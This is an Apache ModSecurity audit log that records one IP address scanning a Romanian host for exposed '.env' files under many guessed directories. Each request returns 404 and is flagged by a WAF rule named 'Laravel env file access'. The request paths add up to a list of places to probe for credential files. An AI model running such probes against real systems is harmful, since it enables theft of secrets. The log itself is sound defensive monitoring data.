Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/shared/.env"] [unique_id "aqYLnDTJ6xTvcJoem7f1eAAAAFg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266844278464 128928 (- - -)
Stopwatch2: 1789266844278464 128928; combined=5298, p1=344, p2=4896, p3=0, p4=0, p5=58, sr=163, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dccd5a2b-Z--
--8ca25d7f-A--
[13/Sep/2026:05:34:05.592186 +0300] aqYLnWM7dE9KgIIOpQhdmQAAAMg 34.175.231.24 35316 127.0.0.1 7081
--8ca25d7f-B--
GET /deploy/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--8ca25d7f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8ca25d7f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/deploy/.env"] [unique_id "aqYLnWM7dE9KgIIOpQhdmQAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266845470402 121848 (- - -)
Stopwatch2: 1789266845470402 121848; combined=4179, p1=257, p2=3845, p3=0, p4=0, p5=77, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8ca25d7f-Z--
--35fddf38-A--
[13/Sep/2026:05:34:07.158088 +0300] aqYLn2M7dE9KgIIOpQhdmwAAANQ 34.175.231.24 41652 127.0.0.1 7081
--35fddf38-B--
GET /build/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--35fddf38-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--35fddf38-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/build/.env"] [unique_id "aqYLn2M7dE9KgIIOpQhdmwAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266847022711 135431 (- - -)
Stopwatch2: 1789266847022711 135431; combined=4477, p1=245, p2=4179, p3=0, p4=0, p5=53, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--35fddf38-Z--
--dccd5a2b-A--
[13/Sep/2026:05:34:08.789166 +0300] aqYLoEwu1RSkptiiNIXtlwAAAJQ 34.175.231.24 41660 127.0.0.1 7081
--dccd5a2b-B--
GET /dist/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--dccd5a2b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--dccd5a2b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/dist/.env"] [unique_id "aqYLoEwu1RSkptiiNIXtlwAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266848671210 118024 (- - -)
Stopwatch2: 1789266848671210 118024; combined=18497, p1=257, p2=3904, p3=0, p4=0, p5=7194, sr=109, sw=1, l=0, gc=7141
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dccd5a2b-Z--
--572d6410-A--
[13/Sep/2026:05:34:10.113164 +0300] aqYLomM7dE9KgIIOpQhdnQAAAMM 34.175.231.24 41690 127.0.0.1 7081
--572d6410-B--
GET /public_html/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--572d6410-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--572d6410-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/public_html/.env"] [unique_id "aqYLomM7dE9KgIIOpQhdnQAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266850001118 112101 (- - -)
Stopwatch2: 1789266850001118 112101; combined=4429, p1=216, p2=4156, p3=0, p4=0, p5=57, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--572d6410-Z--
--bfdf1b42-A--
[13/Sep/2026:05:34:11.637571 +0300] aqYLo0wu1RSkptiiNIXtmAAAAIA 34.175.231.24 41708 127.0.0.1 7081
--bfdf1b42-B--
GET /htdocs/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--bfdf1b42-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bfdf1b42-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/htdocs/.env"] [unique_id "aqYLo0wu1RSkptiiNIXtmAAAAIA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266851484443 153236 (- - -)
Stopwatch2: 1789266851484443 153236; combined=7219, p1=449, p2=6718, p3=0, p4=0, p5=52, sr=170, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bfdf1b42-Z--
--388d625a-A--
[13/Sep/2026:05:34:12.761875 +0300] aqYLpGM7dE9KgIIOpQhdnwAAANU 34.175.231.24 41722 127.0.0.1 7081
--388d625a-B--
GET /www/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--388d625a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--388d625a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/www/.env"] [unique_id "aqYLpGM7dE9KgIIOpQhdnwAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266852628317 133613 (- - -)
Stopwatch2: 1789266852628317 133613; combined=8145, p1=4091, p2=3998, p3=0, p4=0, p5=56, sr=1444, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--388d625a-Z--
--ad4d5361-A--
[13/Sep/2026:05:34:13.722004 +0300] aqYLpWM7dE9KgIIOpQhdoAAAAMI 34.175.231.24 41738 127.0.0.1 7081
--ad4d5361-B--
GET /html/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--ad4d5361-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ad4d5361-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/html/.env"] [unique_id "aqYLpWM7dE9KgIIOpQhdoAAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266853606516 115544 (- - -)
Stopwatch2: 1789266853606516 115544; combined=4294, p1=317, p2=3916, p3=0, p4=0, p5=61, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ad4d5361-Z--
--bfdf1b42-A--
[13/Sep/2026:05:34:15.150094 +0300] aqYLpzTJ6xTvcJoem7f1eQAAAEM 34.175.231.24 41752 127.0.0.1 7081
--bfdf1b42-B--
GET /live/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--bfdf1b42-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bfdf1b42-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/live/.env"] [unique_id "aqYLpzTJ6xTvcJoem7f1eQAAAEM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266855019304 130870 (- - -)
Stopwatch2: 1789266855019304 130870; combined=6075, p1=483, p2=5512, p3=0, p4=0, p5=79, sr=189, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bfdf1b42-Z--
--da517126-A--
[13/Sep/2026:05:34:16.602525 +0300] aqYLqDTJ6xTvcJoem7f1egAAAFQ 34.175.231.24 45114 127.0.0.1 7081
--da517126-B--
GET /prod/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--da517126-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--da517126-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/prod/.env"] [unique_id "aqYLqDTJ6xTvcJoem7f1egAAAFQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266856480231 122361 (- - -)
Stopwatch2: 1789266856480231 122361; combined=4477, p1=267, p2=4133, p3=0, p4=0, p5=77, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--da517126-Z--
--a2ada64b-A--
[13/Sep/2026:05:34:18.067172 +0300] aqYLqTTJ6xTvcJoem7f1ewAAAE8 34.175.231.24 45120 127.0.0.1 7081
--a2ada64b-B--
GET /dev/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a2ada64b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a2ada64b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/dev/.env"] [unique_id "aqYLqTTJ6xTvcJoem7f1ewAAAE8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266857927392 139834 (- - -)
Stopwatch2: 1789266857927392 139834; combined=4480, p1=361, p2=4064, p3=0, p4=0, p5=55, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a2ada64b-Z--
--bf2d3623-A--
[13/Sep/2026:05:34:19.387119 +0300] aqYLq2M7dE9KgIIOpQhdoQAAAM4 34.175.231.24 45124 127.0.0.1 7081
--bf2d3623-B--
GET /staging/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--bf2d3623-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bf2d3623-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/staging/.env"] [unique_id "aqYLq2M7dE9KgIIOpQhdoQAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266859270981 116210 (- - -)
Stopwatch2: 1789266859270981 116210; combined=4064, p1=245, p2=3727, p3=0, p4=0, p5=91, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bf2d3623-Z--
--4440b177-A--
[13/Sep/2026:05:34:20.382509 +0300] aqYLrGM7dE9KgIIOpQhdogAAAMQ 34.175.231.24 45138 127.0.0.1 7081
--4440b177-B--
GET /opt/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--4440b177-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4440b177-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/opt/.env"] [unique_id "aqYLrGM7dE9KgIIOpQhdogAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266860265745 116819 (- - -)
Stopwatch2: 1789266860265745 116819; combined=3956, p1=230, p2=3657, p3=0, p4=0, p5=68, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4440b177-Z--
--2356e365-A--
[13/Sep/2026:05:34:21.394668 +0300] aqYLrTTJ6xTvcJoem7f1fAAAAEA 34.175.231.24 45140 127.0.0.1 7081
--2356e365-B--
GET /laravel/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--2356e365-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2356e365-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/laravel/.env"] [unique_id "aqYLrTTJ6xTvcJoem7f1fAAAAEA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266861246252 148491 (- - -)
Stopwatch2: 1789266861246252 148491; combined=4376, p1=382, p2=3934, p3=0, p4=0, p5=60, sr=134, sw=0, l=0, gc=0
